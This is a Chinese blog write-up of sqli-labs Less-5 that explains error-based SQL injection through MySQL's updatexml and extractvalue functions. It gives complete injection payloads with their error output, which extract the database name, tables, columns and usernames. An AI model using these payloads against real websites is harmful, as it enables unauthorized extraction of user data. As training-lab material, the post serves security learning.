基于sqli-labs Less-5 sql报错注入详解

按照之前的思路发现,是正常的'闭合的字符型,但是在联合注入0' union select 1,2,3--+没有回显注入点,只是回显You are in,因此无法使用联合注入,考虑使用报错注入或者盲注。
考虑到本题会给出数据库的错误信息,且盲注比较麻烦,尝试使用报错注入

1. 报错注入函数简介

1.1 updatexml函数

UPDATEXML 是 MySQL 中的一个 XML 函数,用于解析 XML 数据并返回结果。

UPDATEXML(xml_target, xpath_expr, new_xml)

  • xml_target:要操作的 XML 文档。
  • xpath_expr:一个字符串,表示 XPath 表达式,用于指定要更新的节点。
  • new_xml:要替换的新的 XML 内容。

在SQL注入中,不妨把他简化为updatexml(xx,concat(xx),xx),concat函数用来拼接字符,当第二个参数为非xpath格式就会把校验失败的数据爆出来。由于要的只是第二个参数,一三随便写即可

1.2 extractvalue函数

EXTRACTVALUE 是 MySQL 中的一个函数,用于从 XML 文档中提取指定的值。该函数使用 XPath 表达式从 XML 数据中选择和返回节点的文本内容。

EXTRACTVALUE(xml_frag, xpath_expr)

  • xml_frag:包含 XML 数据的字符串。
  • xpath_expr:一个字符串,表示 XPath 表达式,用于指定要提取的节点。

在SQL注入中,不妨把他简化为extractvalue(xx,concat(xx)),concat函数用来拼接字符,当第二个参数为非xpath格式 就会把校验失败的数据爆出来。由于要的只是第二个参数,参数一随便写即可。

2. updatexml报错

0x7e~,方便我们在报错回显中找到数据。
通过拼接需要的内容作为路径,报错后路径被爆出,从而得到数据。

?id=1' and updatexml(1,concat(0x7e,(select database() ),0x7e),1) --+
'回显:XPATH syntax error: '~security~'

?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security' ),0x7e),1) --+
'回显:XPATH syntax error: '~emails,referers,uagents,users~'

?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),0x7e),1)--+
'回显:XPATH syntax error: '~id,username,password~'

?id=1' and updatexml(1,concat(0x7e,(select group_concat(username) from security.users),0x7e),1)--+
'回显:XPATH syntax error: '~Dumb,Angelina,Dummy,secure,stup'

3. extractvalue报错

通过拼接需要的内容作为路径,报错后路径被爆出,从而得到数据。

?id=1' and extractvalue(1,concat(0x7e,(select database() ),0x7e))--+
'回显:XPATH syntax error: '~security~'

?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security' ),0x7e))--+
'XPATH syntax error: '~emails,referers,uagents,users~'

?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),0x7e))--+
'XPATH syntax error: '~id,username,password~'

?id=1' and extractvalue(1,concat(0x7e,(select group_concat(username) from security.users),0x7e))--+
'XPATH syntax error: '~Dumb,Angelina,Dummy,secure,stup'

宇宙安全声明

本博客所提供的内容仅供学习与交流目的,所有文章、代码及相关资料仅用于提升网络安全知识水平。博主不对任何人因使用博客中提到的技术或工具而产生的任何后果负责。

posted @ 2024-09-17 11:13  星海河  阅读(1)  评论(0编辑  收藏  举报